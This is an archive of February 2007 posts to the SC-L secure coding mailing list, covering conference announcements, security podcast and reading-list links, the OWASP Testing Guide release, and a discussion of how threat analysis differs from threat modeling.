Message-ID: <3F5AB9CDDAD2CC4A80D0FCDCF2755DFB7FC3B3@va-mail.cigital.com>

Ken rejected my first attempt at pass by value, so here's pass by
reference instead!  See the email below for an explanation.

http://www.swsec.com/book/annotated-biblio-from-SS.pdf

-----Original Message-----
From: Gary McGraw 
Sent: Friday, February 02, 2007 12:56 AM

Hi all,

I got to thinking about the "what should I read" question while trying
to avoid working on my next book.  It turns out that I built just such a
list with a huge number of references when I was writing "Software
Security."  The list also includes my unmitigated opinion about each
paper or book.  The relevant part for the thread we were on is the list
of the top 5 things you should read in the field.  Anyway, without
further ado and completely free of charge, here is Chapter 13 from
"Software Security: Building Security In"...my annotated bibliography.
[see URL above.]

Hope this helps.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
book www.swsec.com 


----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From ktriv3di at msn.com  Fri Feb  2 16:13:40 2007
From: ktriv3di at msn.com (KT)
Date: Fri, 2 Feb 2007 13:13:40 -0800
Subject: [SC-L] Meeting at RSA next week?
References: <W9083624543187201170190951@webmail3>
Message-ID: <BAY124-DAV66A2FAC4B0FE504BFFCC2899B0@phx.gbl>

How many of the list members are going to RSA? Any plans to get together for 
some coffee? 


From bugtraq at cgisecurity.net  Fri Feb  2 19:50:06 2007
From: bugtraq at cgisecurity.net (bugtraq at cgisecurity.net)
Date: Fri, 2 Feb 2007 19:50:06 -0500 (EST)
Subject: [SC-L] Meeting at RSA next week?
In-Reply-To: <BAY124-DAV66A2FAC4B0FE504BFFCC2899B0@phx.gbl>
Message-ID: <20070203005006.19935.qmail@cgisecurity.net>

I'll be there.

- Robert
http://www.cgisecurity.com/
http://www.webappsec.org/


> 
> How many of the list members are going to RSA? Any plans to get together for 
> some coffee? 
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
> 


From gem at cigital.com  Fri Feb  2 20:22:30 2007
From: gem at cigital.com (Gary McGraw)
Date: Fri, 2 Feb 2007 20:22:30 -0500
Subject: [SC-L] Meeting at RSA next week?
Message-ID: <3F5AB9CDDAD2CC4A80D0FCDCF2755DFB7E8696@va-mail.cigital.com>

I'll be there.  I have two panels.  Come to the ieee s&p reception after the rootkits panel.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
book www.swsec.com


 -----Original Message-----
From: 	KT [mailto:ktriv3di at msn.com]
Sent:	Fri Feb 02 20:04:40 2007
To:	Secure Coding
Subject:	[SC-L] Meeting at RSA next week?

How many of the list members are going to RSA? Any plans to get together for 
some coffee? 

_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________




----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From brian at fortifysoftware.com  Fri Feb  2 23:20:51 2007
From: brian at fortifysoftware.com (Brian Chess)
Date: Fri, 02 Feb 2007 20:20:51 -0800
Subject: [SC-L] Silverbullet: Fortify TAB
In-Reply-To: <mailman.195.1169521048.18586.sc-l@securecoding.org>
Message-ID: <C1E94DA3.2674C%brian@fortifysoftware.com>

We just posted the transcript from the Sliver Bullet podcast with the
Fortify TAB:
    http://www.fortify.com/silverbullet

Audio still available on the Silver Bullet site:
    http://www.cigital.com/silverbullet/show-010/

Brian

---------------------
From: <sc-l-request at securecoding.org>
Reply-To: <sc-l at securecoding.org>
Date: Mon, 22 Jan 2007 18:57:28 -0800
To: <sc-l at securecoding.org>
Conversation: SC-L Digest, Vol 3, Issue 17
Subject: SC-L Digest, Vol 3, Issue 17

Date: Mon, 22 Jan 2007 15:43:02 -0500
From: "Gary McGraw" <gem at cigital.com>
Subject: [SC-L] Silverbullet: Fortify TAB
To: <SC-L at securecoding.org>
Message-ID:
        <3F5AB9CDDAD2CC4A80D0FCDCF2755DFB7FC218 at va-mail.cigital.com>
Content-Type: text/plain;       charset="us-ascii"

Hi all,

I am pleased to announce the tenth (!) episode of the "Silver Bullet
Security Podcast with Gary McGraw" was released today.  We tried
something different in this episode by doing a group interview with the
entire Fortify Technical Advisory Board.  This was a super opportunity
to cover software security from many different angles...which is
precisely what I did.

On the 'cast are the pontifacatory stylings of:
* Bill Pugh, Professor at University of Maryland, static analysis for
finding bugs
* Li Gong, GM at Microsoft, MSN in China
* Marcus Ranum, CSO of Tenable Network Security, security products
trainer
* Avi Rubin, Professor at Johns Hopkins, electronic voting security
* Fred Schneider, Professor at Cornell, trustworthy computing
* Greg Morrisett, Professor at Harvard, dependant type theory
* Matt Bishop, Professor at UC Davis, computer security
* Dave Wagner, Professor at Berkeley, software security and electronic
voting

To listen, hit http://www.cigital.com/silverbullet/show-010/

Also note that during the same TAB meeting, reporters from ZDNet stopped
in and did an interview that resulted in this very software security o
centric blog entry: http://blogs.zdnet.com/BTL/?p=4280

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
book www.swsec.com


From Frank.Piessens at cs.kuleuven.be  Fri Feb  9 04:12:09 2007
From: Frank.Piessens at cs.kuleuven.be (Frank Piessens)
Date: Fri, 9 Feb 2007 10:12:09 +0100
Subject: [SC-L] OWASP Appsec Europe 2007: deadline for refereed papers
	extended!
Message-ID: <923B6BA0-24C3-4F62-A740-8EA272367236@cs.kuleuven.be>

[Forwarded from webappsec list...KRvW]

Final Call For Papers
Refereed Papers Track at OWASP AppSec Europe 2007 Conference

Date: 16-17 May 2007
Location: Milan, Italy

http://www.owasp.org/index.php/6th_OWASP_AppSec_Conference_-_Italy_2007


The Open Web Application Security Project (OWASP,
http://www.owasp.org) is dedicated to finding and fighting
the causes of insecure software. OWASP has dozens of projects
and over 50 chapters worldwide focused on application security.
Our high quality tools and documentation are used everywhere,
including the freely available book-length "Guide to Secure
Web Applications and Services", the leading web application
penetration testing tool called "WebScarab", and an advanced
web application security training application called "WebGoat".

The OWASP Foundation, a not-for-profit charitable
organization, ensures the ongoing availability and
support for this work.

The OWASP AppSec conferences
(http://www.owasp.org/index.php/Category:OWASP_AppSec_Conference)
bring together application security experts, researchers and
practitioners from all over the world. Industry and academia
can meet to discuss open problems and new solutions in
application security. The conferences offer tutorials, keynotes,
and invited presentations.
As in 2006, the OWASP AppSec Europe 2007 conference will feature
a refereed papers track. The goal of the refereed papers track is
twofold:

1) to give academic researchers in web application security
    the opportunity to share their research results with
    practitioners, and

2) to give industry people the possibility to share
    experiences with the OWASP community.

Hence both research papers as well as experience papers pertaining
to all aspects of web application security are solicited. Papers
should describe new ideas, new implementations, or experiences
related to web application security.

Topics of interest include, but are not limited to:

- Web application security
- Threat modeling of web applications
- Vulnerability analysis of web applications (code review, pentest,
  static analysis, scanning)
- Countermeasures for web application vulnerabilities
- Secure coding techniques
- Static and dynamic analysis of web application technologies
- Platform or language (e.g. Java, .NET) security features that
  help secure web applications
- Open source framework features that help secure web applications
- How to use databases securely in web applications
- Experiences or new ideas on Secure Development Lifecycles (SDLC)
- Experiences using web application security scanning or code
  analysis tools
- Access control in web applications
- Trusted computing solutions for web applications
- Non-repudiation in web applications
- Web services security
- AJAX security
- Security of Service Oriented Architectures

It is explicitly allowed to submit papers that have already been
published, but in a publication channel with a different audience.
In particular, papers that have already been presented at academic
conferences are welcomed, and will be refereed on how interesting
and valuable they are to an OWASP audience. Authors are encouraged
to motivate in the paper why they consider the paper relevant for
the OWASP audience.

For accepted papers, and where allowed by possibly existing
copyrights on the paper, the papers will be published in a
proceedings distributed as a technical report from the
Katholieke Universiteit Leuven, Belgium.

Important dates: (NOTE: deadline has been extended to Mar 1!)

Submission deadline (Draft Paper): Mar 1, 2007
Notification of acceptance: Mar 30, 2007
Final version due: April 15, 2007
Conference: 16-17 May

Instructions for authors:

Submissions should be at most 12 pages long in the Springer
LNCS Style for Proceedings and Other Multiauthor Volumes.
Templates for preparing papers in this style for LaTeX, Word,
and other word processors can be downloaded from:
http://www.springer.com/sgw/cda/frontpage/ 
0,11855,5-164-2-72376-0,00.html

All submissions should be sent in Adobe Portable Document Format  
(pdf) to
Frank Piessens at Frank.Piessens_at_cs.kuleuven.be.

Programme Committee:

Sebastien Deleersnyder, Ascure
Lieven Desmet, Katholieke Universiteit Leuven
Martin Johns, University of Hamburg
Benjamin Livshits, Microsoft Research
Andr? Mari?n, Ubizen
Mattia Monga, Universit? degli Studi di Milano, Italy
Johan Peeters, secappdev.org
Frank Piessens, Katholieke Universiteit Leuven (chair)
Erik Poll, Radboud Universiteit Nijmegen
Maarten Rits, SAP Research Labs


Disclaimer: http://www.kuleuven.be/cwis/email_disclaimer.htm

------------------------------------------------------------------------ 
----
Join us on IRC: irc.freenode.net #webappsec

The Web Security Mailing List: http://www.webappsec.org/lists/ 
websecurity/

The Web Security Mailing List Archives: http://www.webappsec.org/ 
lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://krvw.com/pipermail/sc-l/attachments/20070209/c2c8752c/attachment.bin 

From dinis at ddplus.net  Mon Feb 12 16:23:09 2007
From: dinis at ddplus.net (Dinis Cruz)
Date: Mon, 12 Feb 2007 21:23:09 +0000
Subject: [SC-L] Show #21 - The One With Cruz Control ...
In-Reply-To: <701fd6b60702111404i5f43dae4p6a6f467694c4d7f1@mail.gmail.com>
References: <701fd6b60702111404i5f43dae4p6a6f467694c4d7f1@mail.gmail.com>
Message-ID: <701fd6b60702121323h6fe4647eu6b0cbf80ab7863a6@mail.gmail.com>

(posted with permission from the moderator)

Hi, last week I did an audio interview with David from Uk's Next Generation
User Group (http://www.nxtgenug.net) about OWASP and my work as a security
consultant.

You can listen to the Podcast here:
http://www.nxtgenug.net/Podcasts.aspx?PodcastID=21

Or read the transcript here:
http://www.nxtgenug.net/Interview.aspx?InterviewID=146


Btw, NxtGenUg is a great bunch of guys, so for the ones of you in the UK
(and interested in .NET), you should participate in their events.

As always, feedback is very welcomed

Dinis Cruz
Chief OWASP Evangelist, Are you a member yet?
http://www.owasp.org
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070212/ce1392fd/attachment.html 

From crispin at novell.com  Tue Feb 13 01:16:26 2007
From: crispin at novell.com (Crispin Cowan)
Date: Mon, 12 Feb 2007 22:16:26 -0800
Subject: [SC-L] NDSS: Network and Distributed Systems Security
Message-ID: <45D157BA.8050107@novell.com>

This is the call for participation for the annual Network and
Distributed System Security conference, starting in two weeks February
28th to March 2nd in San Diego http://www.isoc.org/isoc/conferences/ndss/07/

NDSS is a traditional scholarly academic security conference with a peer
reviewed track of papers
http://www.isoc.org/isoc/conferences/ndss/07/program.shtml

However, this year we have made a special effort to make NDSS more
relevant to security practitioners by adding an invited talks track
focused on security threats by some leading practitioners. Our invited
talks schedule is:

    * Keynote: Vernor Vinge, professor emeritus of computer science at
      UCSD, founder of the science fiction cyberpunk genre, quadruple
      Hugo award winner for the novels "A Fire Upon the Deep" and "A
      Deepness in the Sky", and the stories "Fast Times at Fairmont
      High" and "The Cookie Monster", and notable futurologist for the
      notion of the technological singularity. Of particular interest to
      me as a security geek is that software security is a key element
      of "Deepness in the Sky", and it is *correct* :)
    * H1kari of ToorCon speaking on "Breaking Wireless and Mac OS-X
      Encryption with FPGAs"
    * John Viega, McAfee Chief Security Architect on "Malware in the
      Real World"
    * Tom Liston, speaking on work with Ed Skoudis, on "Virtual Machine
      Security Issues"
    * Jim Hoagland, speaking on work with Oliver Friedrichs on "A
      Network Attack Surface Analysis of RTM Windows Vista"
    * Panel "Red Teaming and Hacking Games: How Much Do They Really
      Help?", moderated by Crispin Cowan, with panelists:
          o John Viega, Kenshoto/Defcon CtF organizer
          o Rodney Thayer, member of a winning Kenshoto/Defcon CtF team
          o Giovanni Vigna, professor UCSB, leader of 2005 Defcon CtF
            winning team
          o Dennis W. Mattison, member of organizing team for ToorCon
            RootWars CtF game
          o Rizzo, member of the GhettoHackers, who dominated Defcon CtF
            for 4 years, and then revolutionized the game with a new set
            of rules & infrastructure in 2001

We hope for a lively exchange of views in the "hall track" between
academic security researchers and industrial security practitioners.
Come share your skills and frighten a professor :)

Crispin

-- 
Crispin Cowan, Ph.D.                      http://crispincowan.com/~crispin/
Director of Software Engineering, Novell  http://novell.com
     Hacking is exploiting the gap between "intent" and "implementation"


From jgrembi at gmail.com  Wed Feb 14 16:11:33 2007
From: jgrembi at gmail.com (Jason Grembi)
Date: Wed, 14 Feb 2007 16:11:33 -0500
Subject: [SC-L] differences between Threat Analysis and Threat Modeling
Message-ID: <930b20350702141311r62952e26q2c32111fda731d20@mail.gmail.com>

Hi Ken,

I am currently researching the differences between Threat Analysis and
Threat Modeling.

I thought your readers on the mailing list may give me a clearer
distinction.



How I understand it is that *both* identify security threats, determine
risk, and create the right countermeasures by analyzing various types of
documentation about the system and looking for vulnerabilities and/or areas
of weakness.



*Threat Analysis* ? is more *informal* way of 'eyeballing' system
architecture and application design.
*Threat Modeling* [Microsoft SDL] ? more *formal*, every requirement is
modeled and scrutinized.

Any additional help you or your readers can provide would be appreciated.


Thanks

Jason Grembi

Web Developer
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070214/c2a37207/attachment.html 

From shollatz at d.umn.edu  Wed Feb 14 17:28:36 2007
From: shollatz at d.umn.edu (scott hollatz)
Date: Wed, 14 Feb 2007 16:28:36 -0600 (CST)
Subject: [SC-L] differences between Threat Analysis and Threat Modeling
In-Reply-To: <930b20350702141311r62952e26q2c32111fda731d20@mail.gmail.com>
References: <930b20350702141311r62952e26q2c32111fda731d20@mail.gmail.com>
Message-ID: <Pine.SOC.4.64.0702141625380.832@borg.d.umn.edu>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

> Hi Ken,
>
> I am currently researching the differences between Threat Analysis and
> Threat Modeling.
>
> I thought your readers on the mailing list may give me a clearer
> distinction.
>
>
>
> How I understand it is that *both* identify security threats, determine
> risk, and create the right countermeasures by analyzing various types of
> documentation about the system and looking for vulnerabilities and/or areas
> of weakness.
>
>
>
> *Threat Analysis* ? is more *informal* way of 'eyeballing' system
> architecture and application design.
> *Threat Modeling* [Microsoft SDL] ? more *formal*, every requirement is
> modeled and scrutinized.
>
> Any additional help you or your readers can provide would be appreciated.

I come from a mathematical modeling background, so my opinion may be
skewed a little, but:

 	analysis leads to a model which can be used in analysis

- --
scott hollatz                                        net shollatz at d.UMn.eDu
information technology systems and services          tel +1 218 726 8851
university of minnesota duluth mn usa                fax +1 218 726 7674
                                                                          --
                                               "Asn aD ta zlAp em uT zt33rg"
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (SunOS)

iD8DBQFF040Z4og1WWfEVRsRAvd2AJ9P0pjcpsbgO0SWphxvL2PRTAaEYwCfeo6Z
AqFy9OLNnUbd5DOYRcwKaws=
=RyHS
-----END PGP SIGNATURE-----

From list-procurare at secureconsulting.net  Wed Feb 14 21:30:59 2007
From: list-procurare at secureconsulting.net (Benjamin Tomhave)
Date: Wed, 14 Feb 2007 21:30:59 -0500
Subject: [SC-L] differences between Threat Analysis and Threat Modeling
In-Reply-To: <930b20350702141311r62952e26q2c32111fda731d20@mail.gmail.com>
Message-ID: <005f01c750a9$545a07f0$0a01a8c0@zippy>

Jason,
 
I differentiate between the two like this:
 
Threat Analysis looks at specific threats (e.g., msblaster, zotob, latest
exploit of <pick your fav sw/os>).
Threat Modeling looks at classes of threats (e.g., network-distributed
malware, OS vulnerabilities of Type).
 
Threat analysis is used as a component to various assessment techniques
(vulnerability scanning, code review, etc.).  The aggregation of data from
multiple threat analyses within a define class of threat can then be used to
develop a model of that threat.  Threat modeling can then be used to look at
the overall security and resilience of a system, instead of focusing on the
minutae of every individual threat.  Ergo, foci on anti-virus, OS hardening,
patch management, etc.  Practices developed in response to the modeling of
classes of threats, the models for which were developed from analysis of the
threats that resulted in their classification.
 
Or something like that...
 
cheers,
 
-ben

---
Benjamin Tomhave, CISSP, NSA-IAM, NSA-IEM
falcon at secureconsulting.net
Web: http://falcon.secureconsulting.net/
LI: http://www.linkedin.com/profile?viewProfile=
<http://www.linkedin.com/profile?viewProfile=&key=1539292> &key=1539292
Blog: http://www.secureconsulting.net/
Photos: http://photos.secureconsulting.net/

"We must scrupulously guard the civil rights and civil liberties of all
citizens, whatever their background. We must remember that any oppression,
any injustice, any hatred is a wedge designed to attack our civilization."
-President Franklin Delano Roosevelt


 


  _____  

From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Jason Grembi
Sent: Wednesday, February 14, 2007 4:12 PM
To: sc-l at securecoding.org
Subject: [SC-L] differences between Threat Analysis and Threat Modeling


Hi Ken, 

I am currently researching the differences between Threat Analysis and
Threat Modeling. 

I thought your readers on the mailing list may give me a clearer
distinction.

 

How I understand it is that both identify security threats, determine risk,
and create the right countermeasures by analyzing various types of
documentation about the system and looking for vulnerabilities and/or areas
of weakness. 

 

Threat Analysis - is more informal way of 'eyeballing' system architecture
and application design.

Threat Modeling [Microsoft SDL] - more formal, every requirement is modeled
and scrutinized.
 
Any additional help you or your readers can provide would be appreciated.
 

Thanks

Jason Grembi

Web Developer



-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070214/9ee0c48c/attachment.html 

From gem at cigital.com  Thu Feb 15 17:18:29 2007
From: gem at cigital.com (Gary McGraw)
Date: Thu, 15 Feb 2007 17:18:29 -0500
Subject: [SC-L] Silver Bullet 11: Dorothy Denning
Message-ID: <83B3489DF1064F4E90218770D953D36105693B@va-mail.cigital.com>

Hi sc-lers,

We've all been involved in the controversies surrounding disclosure,
whether talking to malicious hackers is a good or bad idea, and whether
security technology can be evil.  One of the first people to ponder
these things was Dorothy Denning.  I'm pleased to have interviewed
Dorothy for the eleventh episode of Silver Bullet.

The resuling podcast is here:
http://www.cigital.com/silverbullet/

Dorothy was once dubbed the "clipper chick" for her activities with the
NSA and the government crypto plan (back during the crypto wars).  And
dhe made a name for herself in computer security way back before it was
cool.

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
book www.swsec.com 



----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From ken at krvw.com  Thu Feb 22 16:02:51 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Thu, 22 Feb 2007 16:02:51 -0500
Subject: [SC-L] Anyone here attending the 6th Semi-Annual Software Assurance
	Forum
Message-ID: <81B3E7B7-7CD9-4DE6-B871-13AB4275A181@krvw.com>

Anyone else here attending the 6th Semi-Annual Software Assurance  
Forum in Fairfax, Virginia on 8-9 March?  Any interest in an after- 
event informal SC-L BoF and beer chat?  Let me know and I'll gladly  
coordinate.

(We already have several people "signed up" for the SC-L BoF at S3 in  
April.  If you sent me an email, I'll be sending you the details as  
the event draws near.)

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://krvw.com/pipermail/sc-l/attachments/20070222/3d550d46/attachment.bin 

From goertzel_karen at bah.com  Thu Feb 22 17:11:20 2007
From: goertzel_karen at bah.com (Goertzel, Karen)
Date: Thu, 22 Feb 2007 17:11:20 -0500
Subject: [SC-L] Anyone here attending the 6th Semi-Annual Software
	AssuranceForum
In-Reply-To: <81B3E7B7-7CD9-4DE6-B871-13AB4275A181@krvw.com>
Message-ID: <184D5FFC5203644FB4F8864B0EE445B401713CFF@MCLNEXVS06.resource.ds.bah.com>

I'll be there, and presenting. I'd be interested in a BoF (but not a
BOF).

--
Karen Mercedes Goertzel, CISSP
Booz Allen Hamilton
703.902.6981
goertzel_karen at bah.com  

> -----Original Message-----
> From: sc-l-bounces at securecoding.org 
> [mailto:sc-l-bounces at securecoding.org] On Behalf Of Kenneth Van Wyk
> Sent: Thursday, February 22, 2007 4:03 PM
> To: Secure Coding
> Subject: [SC-L] Anyone here attending the 6th Semi-Annual 
> Software AssuranceForum
> 
> Anyone else here attending the 6th Semi-Annual Software Assurance  
> Forum in Fairfax, Virginia on 8-9 March?  Any interest in an after- 
> event informal SC-L BoF and beer chat?  Let me know and I'll gladly  
> coordinate.
> 
> (We already have several people "signed up" for the SC-L BoF 
> at S3 in  
> April.  If you sent me an email, I'll be sending you the details as  
> the event draws near.)
> 
> Cheers,
> 
> Ken
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
> 
> 
> 
> 
> 


From paco at cigital.com  Thu Feb 22 19:50:16 2007
From: paco at cigital.com (Paco Hope)
Date: Thu, 22 Feb 2007 19:50:16 -0500
Subject: [SC-L] differences between Threat Analysis and Threat Modeling
In-Reply-To: <930b20350702141311r62952e26q2c32111fda731d20@mail.gmail.com>
Message-ID: <C203A478.B4CE%paco@cigital.com>

On 2/14/07 4:11 PM, "Jason Grembi" <jgrembi at gmail.com> wrote:
>  
> Threat Analysis ? is more informal way of 'eyeballing' system architecture and
> application design.
> Threat Modeling [Microsoft SDL] ? more formal, every requirement is modeled
> and scrutinized.

This is not how I would define the two terms. The outcome is totally
different from the two processes. "Modeling" means "to create a model."
Although some would argue that it implies analyzing the model, I would say
that the two are separable and not necessarily the same. That is, I can
create a model without analyzing it, and I can analyze threats without
modeling them. If you agree with that, then the words "informal" and
"formal" (from your starting definitions above) devolve into "without a
model" and "with a model," but I don't think that's a good definition for
"formality." You can be very formal without using a model, per se.

Threat modeling is creating a threat model. The model encompasses entities
that are important, such as components, interfaces, communications channels,
systems, and (of course) threats. What goes into the model and how it is
arranged is a function of the project being modelled. The model needs to
indicate how the threats interact with the other entities in the model.
Again, this can be at any level of specificity that makes sense in context.
Finally, I don't think "requirements" are modeled in a threat model (as
stated above), but rather the components of the system, whatever they may
be.

Threat analysis is the process of determining the threats to a system, what
they can do, and how they can do it. If you make a model first, that's
probably really helpful. We always do. The outcome of the analysis, however,
is some description of the threat situation. I'm being intentionally general
here. You might be performing threat analysis to simply enumerate threats
(how many are there?). You might be doing threat analysis for common attack
patterns that can be leveraged by multiple threats. You might be analyzing
threats to determine the effectiveness of a specific mitigation (e.g., "by
addressing this attack pattern, we mitigate the risk posed by these threats
on these components...") Presumably, though, your analysis seeks to answer
one or more questions. A model does not answer question as much as it
facilitiates the organized asking of questions.

You mention Microsoft's SDL. As recently as last November, Microsoft offered
the following pithy (but not particularly actionable) advice on "STRIDE,"
their threat modeling method:
http://msdn.microsoft.com/msdnmag/issues/06/11/ThreatModeling/default.aspx
> To follow STRIDE, you decompose your system into relevant components, analyze
> each component for susceptibility to the threats, and mitigate the threats.
They go on to say, just a sentence later:
> If you do this<break your system down into components and mitigate all the
> threats to each component<you can argue that the system is secure.

I suppose if that were possible (mitigating all the threats to each
component), you could be pretty proud of yourself. I don't know if I'd go
proclaiming that the system "is secure." That smacks of "security as a
destination" rather than "security as a journey."

True security is risk based, doing the right amount to get you to a
tolerable amount of known risk. Threat modeling and threat analysis are two
useful exercises in that process.

Paco
-- 
Paco Hope, CISSP
Technical Manager, Cigital, Inc
http://www.cigital.com/ ? +1.703.585.7868
Software Confidence. Achieved.



----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070222/4e429e5f/attachment.html 

From ken at krvw.com  Fri Feb 23 08:02:31 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Fri, 23 Feb 2007 08:02:31 -0500
Subject: [SC-L] The seven sins of programmers | Free Software Magazine
Message-ID: <E79B90D8-B2DF-4276-AE55-7C4CD7C5576A@krvw.com>

SC-L,

So my trusty rss aggregator (NewsFire) found an interesting blog for  
me this morning, and I thought I'd share it here.  The blog is from  
Free Software Magazine and it's titled, "The seven sins of  
programmers".  On the surface, it has nothing whatsoever to do with  
software security -- the word "security" is never even mentioned in  
passing -- but I believe there are some worthy security lessons to be  
gleamed from it.

http://www.freesoftwaremagazine.com/blog/seven_sins

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070223/18823dc7/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://krvw.com/pipermail/sc-l/attachments/20070223/18823dc7/attachment.bin 

From gunnar at arctecgroup.net  Fri Feb 23 10:29:52 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: Fri, 23 Feb 2007 09:29:52 -0600
Subject: [SC-L] The seven sins of programmers | Free Software Magazine
In-Reply-To: <E79B90D8-B2DF-4276-AE55-7C4CD7C5576A@krvw.com>
Message-ID: <C2046490.7EC1%gunnar@arctecgroup.net>

Along these same lines, I submit ?the Four Coders of the Apocalypse? by Dave
Thomas and Andy Hunt. One of the major areas we need to work is adoption.
Programmers are not all created equal, this presentation shows four types of
programmers, and describes what drives them and ideas on dealing with the
different types. Excellent bit of software development archaelogy, if you
need tips on communicating software security designs, rationale, etc. I
would argue that through the work of Gary McGraw, Ken van Wyk, Michael
Howard, OWASP, Build Security portal, and many other resources that we are
awash in good ideas/tools/templates. What we really need is adoption.
Adoption is predicated on understanding the programmer?s mindsets.

The Four Coders of the Apocalypse are

The Lifer (someone else will take care of things, knows everything about one
topic, all solutions involve that topic, ?it can?t be done?)

The White Rabbit (no time to do it right, ?I can?t talk now?)

The Racehorse (run forward wearing blinkers, never change existing code)

The Beautiful Dreamer (programming as an end in itself)

http://www.pragmaticprogrammer.com/talks/4coders/4coders.htm

-gp


On 2/23/07 7:02 AM, "Kenneth Van Wyk" <ken at krvw.com> wrote:

> SC-L,
> 
> So my trusty rss aggregator (NewsFire) found an interesting blog for me this
> morning, and I thought I'd share it here.? The blog is from Free Software
> Magazine and it's titled, "The seven sins of programmers".? On the surface, it
> has nothing whatsoever to do with software security -- the word "security" is
> never even mentioned in passing -- but I believe there are some worthy
> security lessons to be?gleamed from it.
> 
> http://www.freesoftwaremagazine.com/blog/seven_sins
> 
> Cheers,
> 
> Ken
>  
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
> 
> 
> 
>  
> 
> 
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070223/befd02fe/attachment-0001.html 

From matteo.meucci at gmail.com  Sat Feb 24 12:49:06 2007
From: matteo.meucci at gmail.com (Matteo Meucci)
Date: Sat, 24 Feb 2007 18:49:06 +0100
Subject: [SC-L] New release: "OWASP TESTING GUIDE 2007"
Message-ID: <d2d9d92d0702240949x15281ae8va2363304b504b89c@mail.gmail.com>

ANNOUNCING THE "OWASP TESTING GUIDE"

The OWASP Testing Guide includes a "best practice" penetration testing
framework which users can implement in their own organizations and a
"low level" penetration testing guide that describes techniques for
testing most common web application and web service security issues.

Download the Guide Now:
- http://www.owasp.org/index.php/OWASP_Testing_Project (PDF and DOC)

View the Project Overview Slides:
- http://www.owasp.org/index.php/Image:OWASP_Testing_Guide_Presentation.zip

Join the Project Mailing List:
- http://lists.owasp.org/mailman/listinfo/owasp-testing


